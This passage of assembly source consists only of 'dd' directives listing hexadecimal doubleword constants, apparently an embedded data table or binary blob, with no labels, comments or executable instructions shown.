0C8F1903Dh, 4E6D881Ch, 5CCF0051h, 704581A1h dd 0DAE207A8h, 30A04938h, 1D71EE0Ah, 0B6228C2h, 9C44B6h dd 18C08566h, 37DC1376h, 89805949h, 1E60A2CEh, 74C46691h dd 10AF898Dh, 649BA51h, 0AB6A2B31h, 5C2269DDh, 503E487Dh dd 0D432C480h, 770F5649h, 92A79871h, 0B2240460h, 0D3880027h dd 0D6834652h, 660284FFh, 0E49FA592h, 99DC826Ch, 3BFC901Bh dd 800C91D3h, 5C9291ECh, 232A5786h, 150098DFh, 1453A0EBh dd 9042F649h, 0FDFA0C20h, 0BB2146C9h, 5F575506h, 839CD461h dd 7DE9D6ACh, 0C1E13D99h, 6FB14600h, 88EB8602h, 0AF08CC02h dd 0A7C7248Fh, 42F83B94h, 5F208BD5h, 9297CE14h, 4164019Ch dd 1CA8AD84h, 0A86EEEA2h, 5B709100h, 0F0C38CEFh, 0F3550BA7h dd 0B0249FA2h, 204F4FB6h, 8C3C9027h, 55C70BC8h, 58A31595h dd 4AFAA1D1h, 15472C98h, 5F30FD07h, 0DBD1E426h, 9C30C40Dh dd 0A99B153Ch, 0BE09A8D5h, 0AC900B4Ah, 0BD691184h, 77B804B9h dd 7C081158h, 0B9CE1588h, 0FB4C006Ch, 8797703Eh, 5FDA0300h dd 57276348h, 0C620A15Ch, 87DCD084h, 0DF28C81Dh, 0B8170600h dd 2546A5D9h, 0E29B80D1h, 7026EC91h, 2A9C218h, 207E6164h dd 6374D2F6h, 55AB03D4h, 0FA13A9F4h, 0A4EEC6h, 551ED68Ah dd 0E5F5FE8Fh, 2077F42Ch, 4CDD3F60h, 44A76CF6h, 3E319B69h dd 82388174h, 0B8AC4980h, 90E0D03Fh, 0B606CA00h, 8C4520CDh dd 388A18FAh, 741129B3h, 65A15B00h, 0DF66CD60h, 0CB99005Ch dd 29F58727h, 112C1C1Eh, 0B64454A6h, 14957043h, 66054AE0h dd 0D6E11D00h, 935C5419h, 0E07C949Ch, 70C1CA4h, 428848h dd 0B8EADB74h, 380952Ah, 0A0C6B18Fh, 0D11030F5h, 7D88BB14h dd 6ADC8B87h, 504A9220h, 90F90F3h, 9E0F982Ch, 0C3B9A010h dd 8698824h, 23745362h, 4C04BC6h, 0B0905565h, 4C2418BAh dd 7A8F189Bh, 67A30356h, 0FB1F39Dh, 0D30CA0BCh, 0D7314E0Ch dd 773450C6h, 605103A1h, 0D9862AFh, 840989FEh, 0B225DF09h dd 0B38809B8h, 8B83DCA0h, 0B0EB9BF5h, 0EA665AC5h, 901F2E7Fh dd 0A09134h, 17A1533Dh, 9255FDBBh, 0B3C0060h, 0E1825C16h dd 1E075BA7h, 3BC6BB63h, 52620A78h, 9C3E43F0h, 60E8900h dd 7837FE90h, 2FBB00F0h, 0F11287A0h, 40B9A66Ch, 964F6B1Ch dd 0D9E560D2h, 85F506h, 0BD7A665Dh, 6A906158h, 0F422BC92h dd 9DF0097h, 0EBBB26A4h dd 0C4B855B2h, 2084AF44h, 28D1B11Ch, 20EA7484h, 3F8280B1h dd 5947DE42h, 11542418h, 61FD1898h, 7CA6F9h, 0C3B350C0h dd 3D045C94h, 4CA36850h, 0A92A3598h, 0A24FCC1h, 9466FCB9h dd 0AC4400A9h, 1FB77976h, 370B22E2h, 38461451h, 0D22800h dd 0ECCD0F7Eh, 0BC397A34h, 0F70010A4h, 23547C48h, 4A95BEA7h dd 38C42243h, 39E53C80h, 0C8000F85h, 729EECD9h, 1FA2B75Ch dd 928ABB7Eh, 80182418h, 0B11BE970h, 58AEDE09h, 0FD2CA506h dd 70BC88h, 14EEFF46h, 0A2C034A5h, 0EFF7E500h, 0E05A5D2Bh dd 83E891BFh, 838903C5h, 1C4C6890h, 0ECB62700h, 96CA49F6h dd 2C10E0F4h, 0A5CCC377h, 61AF1CA0h, 2014A6Bh, 0ED86C9B6h dd 60FCE911h, 0F09C1A17h, 0F04C28B8h, 31B3BE00h, 0C5C2C03Ch dd 260D09B0h, 0A0903023h, 290567EFh, 0B2D53A7Dh, 6246BA80h dd 2CC89151h, 69978Ch, 6F50F170h, 53CF04Ah, 85581411h dd 80702ADCh, 8B4F5D00h, 2F3AAA54h, 0A5AD00EEh, 0AEEDEB45h dd 6D1F490Ch, 3107CAB4h, 705CF7DFh, 92B8E482h, 9CA7003Ch dd 0FF86177Eh, 0DC004463h, 0ED3E290Dh, 91FDAFD7h, 0CC2F0064h dd 7894677Eh, 144B3C00h, 5FADE20Ah, 9ED4A885h, 38B200CCh dd 3746C331h, 0E09B1A0Bh, 0F8609880h, 735F6958h, 9715062Ch dd 20A78E37h, 616FE301h, 73456EE5h, 50115463h, 483E26B0h dd 0CD57FC40h, 0E39200C6h, 457A93EAh, 73FE4E17h, 1B82660Ch dd 8841BCh, 38A9D1F9h, 0B2C6B0C1h, 539C2000h, 230FA031h dd 96BE02BCh, 0AFE8E936h, 107618C1h, 9046175Fh, 0FA1428CCh dd 6B4F09C0h, 7818855Eh, 7400F384h, 0AC7718B0h, 0B9374EF7h dd 0DC630068h, 0EE820B10h, 0BDAEB209h, 3889836Bh, 0F7D104AAh dd 80E331F3h, 205EEAA7h, 0E945BB00h, 84DE02AFh, 0EFD2CBA9h dd 0A2C6C8A2h, 831D1521h, 0FC29460h, 53140DC9h, 28A3D266h dd 9A0F721h, 68E0DC4Bh, 618ADE3Bh, 0B04CF4B4h, 0C67744F7h dd 13787D5Dh, 3408AC2Ch, 8A894290h, 0CC7D4000h, 0F27B02B9h dd 73E4C15Dh, 4724842h, 0A139C700h, 78169629h, 0E3A40F54h dd 0DF234A04h, 511E6B38h, 1480F646h, 20ECFFE8h, 0DD0CA00Dh dd 6EA70409h, 82C9EFA4h, 5F2085B0h, 126768C5h, 216A2C57h dd 83E13414h, 7DF701D9h, 2EEFD8D4h, 0D3A90148h, 3052ECE3h dd 27DE81C0h, 0AFD6E51Ah, 0BA80742Ch, 0B31178D9h, 48AD2500h dd 0C181E25Bh, 7D5F012Eh, 7EB159B0h, 3B70606Fh, 0C6274AE6h dd 67A43885h, 1C070087h, 0E01EADF7h, 841381E3h, 0B8C82B0Eh dd 221F0031h, 0BDD072AFh, 4B15157h, 83BC6988h, 6E41F867h dd 38A85903h, 0A9717607h, 0BBC448BEh, 0A4FD52EEh, 8AB7ED0Ch dd 0CC7CDC91h, 5448BB4Fh, 0CCD6AFD3h, 0E02A0Fh, 9F60F8C3h dd 0A7F114EBh, 0E801F814h, 0BAC81077h, 0C183D895h, 4A2014B8h dd 0CB248889h, 2D140044h, 0ED05D5F1h, 1D09AC85h, 80F40B31h dd 4BC9D72Ch, 1141093Fh, 0A090389Ch, 2CB87952h, 582D0526h dd 0ECE850Bh, 753B26F7h, 0F39B27C9h, 4FF0FC20h, 305A1B4h dd 86247EFh, 0CCF29432h, 0FA173C98h, 0E29C0B84h, 0F514975Fh dd 59FAC689h, 2F471E00h, 44355A1Fh, 6C171A29h, 0A050E9h dd 3668DCF9h, 53DD5900h, 0E9FE5544h, 19C2514h, 2A009494h dd 98F4EB81h, 1228781Ah, 4506B93Bh, 640B6244h, 1E5421E8h dd 20DC606Dh, 34202E45h, 23E28B77h, 200F8C4h, 0E0876F03h dd 62EC0562h, 0BCEF516Ch, 23D66720h, 85613EADh, 9CDE6A15h dd 5009777Ch, 4526AC9Bh, 18C6391h, 8743B32Ah, 59E408DAh dd 76810005h, 82FFFE80h, 5600D483h, 0BD1A934Ch, 0A9BEFD78h dd 0F1CC8BE0h, 0CB9A0E1Ch, 200C3DAh, 0B972A8D9h, 1D78AA50h dd 542414B1h, 4494A710h, 0EB720102h, 18833F1Ah, 4BDBE97Bh dd 313B4AB8h, 23AC44h, 2CD3A412h, 8A1987FBh, 5168336Fh dd 0D9E93E18h, 24060FEBh, 0F13453DCh, 4C5E2761h, 479E4420h dd 22F44F9Ah, 0A7789338h, 167005h, 7EB93AC4h, 361EB1A6h dd 4824D148h, 0AB1BC360h, 3C21A0D7h, 6CB0CBh, 0DC6B8C43h dd 6CD3174Bh, 447AA8A8h, 0C64CF900h, 18ABE8FBh, 35A40092h dd 4D542D85h, 3700ECCAh, 0F06939C2h, 0FAA1DD4Ch, 0AC4A12A5h dd 89881E7Ah, 0B0194BD0h, 0C9997012h, 578A8F03h, 0F6139F76h dd 29E602D1h, 0EEFC4109h, 4AED6060h, 3E94E4B9h, 78CE80F8h dd 81CD85h, 298C8D0h, 9A9D5E0Dh, 5031DF24h, 6D9B9F40h dd 984F3B94h, 0C436058Ah, 0BA9606A6h, 0BE096031h, 98ADC53Eh dd 141A0FCh, 0ACC37FCCh, 0F0399331h, 0A8B66E1Eh, 524A2F03h dd 0C36103A5h, 35A1B666h, 640A3ED8h, 79FC6A48h, 38A0FD52h dd 0AEE30FB7h, 2AED279Eh, 2FE01927h, 615754h, 17508F59h dd 1425A21Dh, 69294605h, 0D4216082h, 98725C62h, 88329D02h dd 4059A349h, 0E7BD3780h, 0B4EFB1Ch, 2FED6740h, 3C4648C9h dd 0A1D18010h, 443352Bh, 4A14997Ch, 7E708025h, 4605085Ch dd 0F654AD07h, 0C8287AC4h, 889F4184h, 7779950h, 5073FBABh dd 0B0A93B1Dh, 815F5500h, 49175E62h, 0A421E4F6h, 3CF422B8h dd 945B4E29h, 0FE20EC28h, 4CDF4C76h, 508C1702h, 0E4846D36h dd 0FC05EB3h, 74629B16h, 49A300D7h, 0E6A5C96h, 0F90B0782h dd 809AE0FEh, 0E8BA6800h, 0A841A87h, 0A4196089h, 60D20809h dd 9DF5F8F9h, 20D7CF38h, 3A0C8Ch, 72B04D55h, 162ED8BBh dd 63ED5200h, 0F0B865EEh, 244026BAh, 5E41140h, 42CF2F46h dd 0BD9488h, 2E6E7371h, 7B16471Fh, 0C91327FEh, 0B43084E0h dd 26DEE950h, 9FFA3F1h, 0E8904C7Bh, 2030190h, 3122A6D4h dd 153130B1h, 5F73FFE0h, 6600E898h, 0A2E23288h, 0A8365655h dd 46D9EBCh, 838D2028h, 0E401C446h, 1C078C08h, 5E4B2279h dd 2516DA20h, 9AC301B5h, 15CB26D2h, 8832D3h, 707880BDh dd 4901D72h, 9D47C056h, 176C88CEh, 0E1536A00h, 0EF0CF4B2h dd 0C51303D5h, 0AB0E065h, 0CCCED1F8h, 3DC0D352h, 0DBD480BAh dd 4AFAF707h, 0A6931E3Ch, 36690153h, 0C9E494EEh, 80482CE8h dd 4721D81Dh, 0A26812D2h, 0EFCE00F9h, 1C9CD4C3h, 0AE51F000h dd 829BB2C6h, 0A0EC9E1Dh, 27A55AA5h, 12904E0Ch, 0AC0C4146h dd 5832940h, 0A9B7122h, 0ACD8F414h, 506E88h, 0BA4F2A8Fh dd 0F4484D16h, 848DFD0Ah, 0FE903460h, 3441F3C8h, 0D430AA50h dd 0B93A79EDh, 0B8A380F8h, 4723DC71h, 1E3B9B18h, 0B126EE79h dd 5D09828Ch, 0F4C0912Ch, 2002D29Dh, 0DFEB77EEh, 6CFA30h dd 91B67D9Ah, 8CB4ADB8h, 0DEE7A503h, 0A106A0B0h, 98794C04h dd 0B19E5B0Fh, 7AA9CA00h, 600E2D0Bh, 4018C2A2h, 871A8DE6h dd 8C1301E2h, 909759DFh, 924C7CF0h, 6D624803h, 3E792EB8h dd 5EE440D8h, 2702B396h, 3408388Ah, 60A4D94Ah, 70569E0Bh dd 1F16B876h, 208CA537h, 57F101BAh, 8F618C2Ah, 0A7BDD41Eh dd 20617A4Eh, 0DA070D9Dh, 10540744h, 37BEA031h, 9B7D51F7h dd 0AA13D012h, 0A3C4E4C9h, 2E050082h, 3E86E056h, 674C1EA2h dd 88274E3Ch, 0DB48A920h, 868B0084h, 1C516BC5h, 4515CBC2h dd 1E07796h, 0ECFC04D2h, 6C73E822h, 5F0B8A22h, 309EF014h dd 0ED82B3Ch, 7D8AB709h, 6613623h, 64A0C0C5h, 65FB295Fh dd 89404340h, 0C9DC4909h, 0F474E8CEh, 7B760FC5h, 46812AEBh dd 2045BE5Dh, 0D807FDC5h, 5EA17237h, 4F4D585h, 0D02F52EEh dd 30449B25h, 0CE14E317h, 51A19020h, 0A8C800AFh, 69EC86A5h dd 730CC58Ch, 0C14D77DAh dd 31D80075h, 59806432h, 4626A985h, 1E1F112Eh, 0E1567A00h dd 9CCAC0E4h, 0E541C338h, 80B54139h, 5D117D99h, 7CA66D6Ah dd 0B0720047h, 21DF3058h, 1D0B2E50h, 9CEEAB4Dh, 5CD300E4h dd 0BB13238Eh, 883F7B69h, 521D8773h, 919982F2h, 7D30DF54h dd 313C00F1h, 11F80C0Bh, 0CD012CC9h, 0B2CB812Ah, 0C4693ADDh dd 0B190200h, 0EB9AC820h, 68FDAF25h, 7048BCh, 90C4993Eh dd 0D3911617h, 5CE8A47Dh, 0B3D61C00h, 0BF3DB2D8h, 259C0AAFh dd 80B07729h, 0DA5BBE6Bh, 0FB0F2832h, 4BCCE12Fh, 3D64613Fh dd 4F585F08h, 63FB8010h, 0C0F74D7Dh, 32E79388h, 4609171Bh dd 801588D9h, 9CC7A7E4h, 1E4A439h, 0D62CCAC1h, 3CCE2D6Fh dd 44EF1970h, 0D03D37C1h, 7986AA00h, 0C004D427h, 9E13531Eh dd 0F1693540h, 0C81EA5h, 5607F9AEh, 0CA7951F4h, 44AC58CBh dd 876E3920h, 30B4EC80h, 0A4FA1D79h, 5249D800h, 93B88ADh dd 9E320037h, 0A6A1EB17h, 0DC126593h, 4C9342C0h, 2AF7D00Bh dd 48820034h, 6F8133EEh, 0A81DB1D8h, 2952A088h, 6CB6A020h dd 2076149Ch, 0A7DAE5Ah, 1DA78916h, 0A801C7A4h, 82BED78Fh dd 0E497BD64h, 3F46052Ch, 0A4D2A445h, 0F00E918h, 0D396C1C4h dd 1670877h, 6FB6BA4Dh, 0E156725Eh, 0C1742857h, 0A607AB4Bh dd 0CD30B2DDh, 0F12500AFh, 0BAEC4A06h, 55048D80h, 69055736h dd 5CF3BC82h, 0ADFD50F4h, 6A71B61Fh, 7C233080h, 207DC2Ch dd 10D4BC6Bh, 0AD42DB5Bh, 3400C864h, 7BCD59F1h, 0E82B93h dd 9DE4AFBCh, 0DFF69A27h, 80083A5Ch, 0C9E05A9Bh, 3E931168h dd 4FA400AEh, 0A84E7E4Ch, 92DD00FFh, 6A70790Fh, 8900CCBBh dd 69491C6Eh, 91B26682h, 0F1F48298h, 0F4E54562h, 819C8888h dd 3ADAEDDh, 805C2CDCh, 91B4086Ah, 193400ABh, 0DC4A9D86h dd 0E84F1EDFh, 0C2E37820h, 0F4420221h, 0D0086814h, 7140FC56h dd 739A187h, 6EF9E3B3h, 4061F5B9h, 0F5AB5F88h, 59021D95h dd 0F05E73B6h, 37F481C4h, 0C3043290h, 448C759Ch, 0DCF79D20h dd 27155F00h, 0F5908DCEh, 72EC8401h, 0DC149CCAh, 0F4119432h dd 80D45C9Ah, 0E247F184h, 8E940EBAh, 0D2A0B0FEh, 0E08776DCh dd 20003998h, 0A629C55h, 2D1A6009h, 0E02042BDh, 7852990Fh dd 0DFD1A904h, 0BCE1144Ch, 0B02C1431h, 340E1BA0h, 0C208C516h dd 0F2829C05h, 500CE4A2h, 7E59DF4Ch, 0FB302400h, 9F8C7B97h dd 74851C4Fh, 2E34C31Eh, 87B20307h, 80394840h, 6DE36494h dd 8631E0B0h, 0CD73B7h, 0A1EA88F5h, 4340BC57h, 0FE6FE50Dh dd 6861984Bh, 22C0F432h, 0D15C9863h, 0E21E9212h, 43AF6000h dd 5888CD44h, 533D5B1Fh, 884D6458h, 0BA3C9C82h, 72C4888h dd 70191E88h, 3CEB1A2Fh, 0ED01FD77h, 0FB61FA8Dh, 0A84841E5h dd 9F5D3CBDh, 0C17C3300h, 53DD4CF3h, 3A1C4AF2h, 87A5C568h dd 69EB9C9Ch, 0E4FAEE64h, 2E5513A4h, 62C49031h, 0EA05F16Fh dd 32B5C195h, 442D30DCh, 8E88AE03h, 0D8280088h, 1B8DE433h dd 230FF29Fh, 0E0F5E7CEh, 0D6EAD4B0h, 78B93Eh, 2D610F8Ch dd 5400B9CCh, 25F305A3h, 0E7A36B6h, 9BAC55F6h, 3B84C893h dd 9EDEA44h, 0FD841D3Eh, 6AAC5C90h, 0E814A200h, 6E986F06h dd 200F0203h, 4BBFD538h, 8E0004D9h, 3A4D3DA2h, 785009Dh dd 0A14A6065h, 3313A729h, 0D302DFDDh, 5EF2E0DCh, 0B2D74088h dd 0FC78038Ch, 0D298EC04h, 54A229DFh, 91546400h, 4F69DC10h dd 4EBC883Eh, 0E89F80CCh, 0A19A0367h, 0F39BBA59h, 2534B958h dd 4D0661BBh, 1CD2C450h, 0EE5E3D67h, 0E63E3C82h, 806639ADh dd 61F42A00h, 0B93633C4h, 86650018h, 0E9F2D98Ch, 0F02C699Bh dd 0EC40D0CFh, 45A897h, 2347539Fh, 0AEAA09C0h, 9093E700h dd 3FEB44DAh, 381A0BEFh, 0F4806B82h, 9DF46D2h, 0BCD56E00h dd 0A5547C32h, 90B47C44h, 4058B978h, 9B6CB82Fh, 5D15EC01h dd 1A433B5Ch, 1B55CFEBh, 6CC8BC56h, 0C06002ACh, 8EA330C2h dd 644D10C0h, 0F64AFE04h, 3B40DE34h, 6FC66344h, 2E031601h dd 29061EE7h, 0D174403Bh, 2DC29ED4h, 5EFB0907h, 0FE707A43h dd 616601h, 67E895DFh, 0C9CCF682h, 0F7690E00h, 4CD78FC1h dd 9012515Ah, 18097C72h, 7040B86Eh, 342540A7h, 3F4884D6h dd 0E89A4F4h, 0C3733398h, 0AB93FAC4h, 0C6E41681h, 13A2BE4h dd 1D1489F5h, 6D3746A8h, 86A01CECh, 0FAC74CC1h, 0E37107D9h dd 8270612Ah, 82E068F5h, 61F97BA6h, 0C4388894h, 0A9406DC8h dd 27E12B02h, 3068CE17h, 0D8B3D18Eh, 4B00509Ch, 0A028C9EBh dd 4F937BE8h, 5450888Ch, 0E400EA76h, 0D522BE75h, 7EA0DD1Bh dd 4221C334h, 20A0AA11h, 0E9031791h, 0D485D18Ah, 8704F0AEh dd 533B762Dh, 7A00ECBCh, 316D1577h, 9F12A4A1h, 4C951C82h dd 0E53E2800h, 25C3BE7Fh, 98903B9Ch, 4CB27369h, 0C600A8A6h dd 0B49B8781h, 0A6688257h, 15B30290h, 4CA6F29Ch, 0F1074044h dd 0FFED5884h, 1ED87AC0h, 22B09AD1h, 0E80A8938h, 0E8673423h dd 43685360h, 662607C0h, 715C9A7Eh, 0C0D8CD69h, 0D94CD2BEh dd 4C0449BAh, 9F6A8078h, 0E809D57h, 0EC09F3B9h, 803E922Fh dd 143D557Fh, 0ECB141F9h, 0AAF2B400h, 0EFBA032h, 0D5BB0B57h dd 624B14A3h, 1ACF2BDh, 6A56FE68h, 0E9AC80AEh, 616F00D8h dd 7345FFA0h, 622D80A4h, 9D644852h, 4414BA1Ch, 97006091h dd 582946D7h, 0E4894478h, 0D921045Fh, 808A53DEh, 0D2D504E0h dd 66809896h, 0F791C27Ch, 59CB00F1h, 0F2094EA3h, 6B0B082Ch dd 8FFC3521h, 0A090B2A0h, 29403BE2h, 0A4A797h, 0AF5A8AF4h dd 79002345h, 9BD44771h, 0B13FFCh, 0DD2654B2h, 6A8241BBh dd 34FC0F54h, 7BFBC94h, 0FCEB5A33h, 3A45EDE0h, 78C100DCh dd 2AC72372h, 64170C69h, 270C4F4Eh, 5DFB953h, 5A90D65Bh dd 2098C19Bh, 8466D0ECh, 41241200h, 8D2C69E4h, 0D0109773h dd 740EA4A0h, 805F1986h, 0B423B664h, 4AC600D2h, 7566DBEh dd 0B313373Bh, 3CA6019Bh, 978B1Fh, 0C68C20FFh, 0EF4F99CEh dd 2C52301Ch, 0A4543890h, 4A692CA1h, 28A01BCh, 304CE33Ch dd 9E609684h, 2BD01751h, 0B82CEADFh, 22294E7Ch, 50103D40h dd 34F903F7h, 866820ECh, 0BC20205Bh, 1C295803h, 80B10BE0h dd 56CCE483h, 32518E60h, 7329C6B4h, 98F51128h, 13ED5160h dd 0D0BE6D20h, 4A9753B8h, 43E33F10h, 7A3EC10h, 8E66C2E8h dd 44183E26h, 0F400D725h, 325F8FD5h, 276756D9h, 2448CEA9h dd 191E06ABh, 0BCD8FFC7h, 2A60960h, 20DF3F9Bh, 0B07EBE4Ch dd 407280CEh, 30CCC50Dh, 579EE3C4h, 0C200B930h, 0EB3C2CB5h dd 973E90A4h, 7600AC14h, 0F812A5C5h, 7D7B82AFh, 0FFA31F6Dh dd 56242A6h, 0B07CE040h, 0C4A138A0h, 0C0207DA1h, 0C7F30711h dd 0E4D9508Fh, 0D139129Bh, 1FCB274h, 0ACB571A4h, 2C605E4Fh dd 0A8D32867h, 0C0975090h, 3061D22Ch, 8FE572B8h, 0BEC1EE00h dd 0F5B7C60Ch, 2E3814D9h, 2017A8A5h, 91F8D2A9h, 20248829h dd 0B5ACE100h, 29EC86Bh, 0A5C18B3Ch, 0E487046Ch, 20DDD0A2h dd 2E89BCDEh, 1DEB1060h, 0BCAC893h, 2802B025h, 685970B8h dd 0A2855100h, 2DC5C36h, 3F6326EFh, 1C74AFD6h, 6DF3CA40h dd 6564003Ch, 6F6EAB69h, 0C7009677h, 305E3D3Fh, 2168C370h dd 8100A645h, 0B10FE5B3h, 12FA00F1h, 297B070Bh, 11F23ECBh dd 3F34AC01h, 0D2A79CD7h, 48F50820h, 7E107437h, 0DDED13BBh dd 64FE5822h, 5D380478h, 84F75767h, 20B238h, 5E923339h dd 0ECC718EFh, 4A990E5Ch dd 472552C8h, 560C584h, 0C1A029C4h, 2E01EB4h, 80605C3Eh dd 4F5E732Dh, 0A307142Ah, 94BCC285h, 7C8DD000h, 45B6008Ah dd 37661769h, 0ECFD0F19h, 0BD01F0A0h, 0DA1461AEh, 0B82CBE80h dd 8AA8FD8Fh, 98F6DC00h, 5896F1ACh, 9B215C17h, 0DF543687h dd 47101047h, 60DC694Dh, 0BD7826FDh, 0A41F4915h, 13BE5A92h dd 18883ADFh, 30AC6062h, 831E5084h, 7870803Bh, 3C8A0524h dd 71E849E0h, 0EB5748A0h, 9E51E23Fh, 0A237508Eh, 0C28E5380h dd 0B8D6E944h, 0E0E02827h, 0CD4503h, 1EB63353h, 0C5F2DF9Ch dd 4EC8C305h, 0C5FECFBAh, 171888E2h, 810046FCh, 392C7EA8h dd 3DD70DD2h, 1682229Eh, 668715E1h, 642464C4h, 6BC93851h dd 0FBC0E444h, 0ADEBF10h, 6729C2F2h, 0E214139Ch, 493A80D4h dd 76042Bh, 80A632BEh, 0D12D5E59h, 0E11FD000h, 0D940FEC9h dd 0D2687187h, 0A20488D9h, 0F46BE201h, 0CCFD35DDh, 0AAC5C8h dd 0FB86EADCh, 6088C9D7h, 0B45CCD5Fh, 0ACB22353h, 0AF81887Bh dd 75C0300h, 7A8E0A91h, 0C32A00AAh, 5B0C2F67h, 86004AE3h dd 4395C654h, 1A2F655h, 855F9A04h, 44621C84h, 0D78F44Ch dd 6900DEB8h, 8D07A8C7h, 0E654E6Eh, 0D812C218h, 0DBD77222h dd 89008451h, 0C3D54F21h, 457A00FEh, 51B58CD6h, 0E90B75F9h dd 60480AF6h, 951184E0h, 0A9FEC490h, 0FC240086h, 0A3DD4CE4h dd 3C008D50h, 0E98E2732h, 1C23C67Eh, 60E75C57h, 0DAD2CE16h dd 46C3305Ch, 0E5B1C4E0h, 0BAEC9Ch, 0D89D44B4h, 0ECE05C6Eh dd 0AAF4FD00h, 0B28C1FAEh, 0D20A0C13h, 0DC318334h, 22806F5Ch dd 3AEE2770h, 0F2896C29h, 0CAB05864h, 17175896h, 21DD4C31h dd 1084A1A5h, 8488848Fh, 80D8E964h, 0F0286EEBh, 73E303E0h dd 0CDB5B947h, 7B6F3F8h, 6B601098h, 856C9D49h, 9D2571EEh dd 0E4E6888Bh, 0FD78F0E9h, 6E015BEAh, 463657A5h, 0C8209A73h dd 847E1764h, 0C07CD46Ah, 67419EB8h, 0ADC55E0Bh, 0FAFC80F0h dd 0B0A1CF14h, 0EEE74430h, 28CA075Eh, 69862C0Fh, 6572B240h dd 0BF12816Dh, 98C8D4C9h, 1C21861h, 97CB9648h, 352624B0h dd 0DB005C6Bh, 16D5620h, 6680C055h, 47E59385h, 72643417h dd 2991BCD2h, 1400AC64h, 31564E8Fh, 0EC1FEEEh, 2EF68B3Dh dd 4734DA62h, 80A640A4h, 7970A938h, 0A7C6800h, 5E49A4F7h dd 0A047544Ch, 8DF63A9Bh, 88C15F40h, 9002F3C9h, 508FD86Ch dd 0D6280796h, 0E0848B3Bh, 8A6940A1h, 169C819Fh, 1301C95Fh dd 94F221h, 8E58F5B0h, 8FA496h, 0CC9BC545h, 311920FBh dd 0CBB36F05h, 38824F6Bh, 59F482F7h, 1C630BE0h, 344B14B1h dd 39E9508Ch, 21EE0218h, 337FBF73h, 0E2F031E3h, 53002685h dd 24E338DDh, 6B973B9Dh, 1471E177h, 95DA3900h, 6F9B62h dd 0DC9D56ADh, 57D2F184h, 7F31F461h, 0BC48D314h, 2DF000D5h dd 38C85E21h, 5403D7B9h, 0EEADB89Dh, 75B90729h, 0EE31D11Eh dd 3BC898B3h, 79F44800h, 8DBEE78Ch, 84FD2EC6h, 2C1713DCh dd 0C900A8A4h, 7E6B8D56h, 393B22A9h, 0DF1E091Fh, 0EA46C9B0h dd 83E6AC10h, 906F520Bh, 0EE465E2h, 0FD20B6D8h, 0F7172268h dd 0E3DB6A03h, 0C8F09A41h, 2760C340h, 8C6482FFh, 5731F507h dd 2EB06BBBh, 0F03BF76Dh, 946F7A4Ch, 55734348h, 9BAA37A0h dd 0C8A79727h, 90E8160h, 690A4CD7h, 411805h, 9072502Ch dd 0E43FE748h, 0BD3C8AE1h, 4A1DE884h, 42F382C9h, 6E085CA4h dd 7A83C09Fh, 0DEDA04CFh, 8CAB5301h, 667608DCh, 5FB0237Bh dd 4368CCF0h, 0BCF6400h, 0A7AF19D9h, 0F9DF1ED6h, 0A846A517h dd 12230E1Fh, 37330C00h, 9DC4D73Ah, 0C0758027h, 476F5167h dd 0CD804CB1h, 0EC30ACB0h, 586000D7h, 80E333BAh, 610902E7h dd 0E92CDFDDh, 0B020B020h, 0BDA0091Eh, 18E687D7h, 0FD160B43h dd 4C58F139h, 560046D8h, 0E1196E38h, 1ECCF022h, 812566C3h dd 0F63B9007h, 9C802C77h, 484C5049h, 0BD4190h, 3FFC9169h dd 3890042Eh, 0B07CF448h, 0DD703h, 0B30B0F8Bh, 6E181FE1h dd 0D2314900h, 0C0229C53h, 6C609C3h, 880690Ch, 1704EFE5h dd 0E022D090h, 0DED60E6Ch, 57426A09h, 74444DC0h, 0B3486200h dd 0F367CDD9h, 0DD910B8Eh, 8A0008AEh, 0B8284C69h, 4980689Bh dd 9901CE25h, 2F2300EFh, 9C1A8577h, 9097680Eh, 0BDC6524h dd 800F5146h, 0D33CD800h, 683DCAC7h, 989096F2h, 93D20430h dd 0B5C9002Fh, 5F89C5A8h, 3F0B8317h, 73402E7Fh, 0EDCE0AA4h dd 0B6782D0h, 0C4FACB29h, 0E0EC04B5h, 0F8DC5545h, 0CF0B806Ch dd 0A89D0Eh, 4D3A184Bh, 3FD78A70h, 96EB2601h, 0DF2F92DEh dd 28C207Bh, 0F71F6822h, 5F132E5Eh, 36EF6802h, 41B8EA30h dd 2C2BECC4h, 98843980h, 0F204A2CEh, 6E37600h, 99D4832Fh dd 0F914B9CEh, 58700A4Ah, 95E4220Ch, 0DCA93000h, 1C914126h dd 0F843A601h, 0BC23A862h, 5889DB00h, 177AAB18h, 0E820954Bh dd 38D03E1Dh, 16006B30h, 0D5114970h, 29FB88B5h, 1B832524h dd 3120B1BCh, 0E930402Fh, 7B8594C6h, 4C29B62Eh, 3533BD40h dd 63703913h, 6436F202h, 6441670Eh, 9BF8C36Ch, 9F021E6Ah dd 0E884F89Ch, 43A8D6CAh, 0A4D03F48h, 0C60078DAh, 0A1544F2Eh dd 1708D707h, 8BCF828h, 9B82B918h, 0B74D23Dh, 16004C71h dd 21F07ADAh, 8015E79Dh, 0D8B26480h, 0A35C560Fh, 0A137071Fh dd 18B2F2B4h, 0E42DC900h, 5A72557Ch, 0DD968802h, 846982A0h dd 1540ACC4h, 93522FECh, 0C32DE400h, 51D649CAh, 0C99C4F17h dd 1A423A4h, 52E83854h, 80604031h, 0BC9C7C2Fh, 3749C060h dd 83079FFFh, 344A5467h, 0AB9A83C8h, 22C063BCh, 8700B278h dd 68FC67ECh, 798482h, 3183157Eh, 3C4F382Bh, 19D64A01h dd 88CAC086h, 9000E063h, 649DC168h, 0AD00AE2Dh, 0FE2F1881h dd 0B21BA9h, 36E0EF44h, 0E749A656h, 0F266E9C0h, 21C4D82h dd 0C5325755h, 0C0E856C1h, 69108488h, 0DC5971C8h, 723D9580h dd 81D5F8Ah, 9C01577Fh, 0ECC551D4h, 0B14C58C8h, 8B1001F8h dd 0E8370B09h, 4B1DC9E5h, 0A829DC83h, 2420CE16h, 81A2B4h dd 42F9886Dh, 0EB0D37FFh, 0ED5F6700h, 5E4C6C47h, 8B5C2EF7h dd 1831370h, 29EB1770h, 4C273F94h, 681D1AA0h, 8C1E0084h dd 443269D8h, 360AA2DAh, 0BF4AD94Dh, 14909602h, 0E0C074DEh dd 489EB4A6h, 1B67C900h, 0CD9D1F35h, 46AA1CB7h, 0CFDD493Fh dd 0E1954CC8h, 201DF40Ah, 4A05C4B3h, 0A4A8B851h, 62151490h dd 3058D0C6h, 14BC0910h, 85A8D59Bh, 68E31EEEh, 0D203087Eh dd 0D600896Fh, 23ECE492h, 86790317h, 0B46E209Eh, 0CDEF49F9h dd 0C8AE443Eh, 30B7E0DCh, 1E120810h, 0C3A7C69Fh, 3F4BCBBCh dd 0DCBE3202h, 80D315CFh, 